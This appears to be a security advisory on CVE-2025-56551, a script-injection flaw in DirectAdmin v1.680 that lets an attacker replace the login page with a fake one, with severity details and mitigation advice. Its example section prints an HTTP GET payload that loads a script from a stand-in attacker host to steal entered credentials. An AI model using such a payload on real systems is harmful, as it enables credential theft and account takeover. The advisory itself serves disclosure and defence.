Overview
The recently disclosed vulnerability, CVE-2025-56551, poses a significant threat to any system running DirectAdmin v1.680. This vulnerability allows unauthorized attackers to manipulate the layout of the page and replace the legitimate login interface with attacker-controlled content. This is achieved through the supply of a specially crafted GET request. It’s a high-risk vulnerability that can potentially lead to system compromise or data leakage, putting sensitive information at risk.
Vulnerability Summary
CVE ID: CVE-2025-56551
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized access to sensitive data and potential system compromise
Affected Products
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Product | Affected Versions
DirectAdmin | v1.680
How the Exploit Works
The vulnerability exploits an issue in DirectAdmin v1.680 that fails to properly sanitize the GET requests. This allows attackers to send a specially crafted GET request that contains malicious scripts. These scripts can then alter the layout of the page and replace the legitimate login interface with a fake one controlled by the attackers. This can trick unsuspecting users into entering their login credentials into the fake interface, hence providing the attackers with unauthorized access to sensitive data and potentially the entire system.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP GET request that contains a malicious payload:
GET /?page=<script src="http://attacker.com/malicious_script.js"></script> HTTP/1.1
Host: target.example.comThis GET request injects a malicious script hosted on the attacker’s server. Once the script is loaded and executed, it can manipulate the DOM of the page, replace the login form with a fake one, and send any entered credentials back to the attacker.
Impact and Mitigation
The impact of this vulnerability is severe, as it can lead to unauthorized system access and potential data leakage. As an immediate mitigation measure, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out the malicious GET requests. However, the ultimate resolution would be to apply the vendor patch which addresses this vulnerability, thereby ensuring the security of the system.
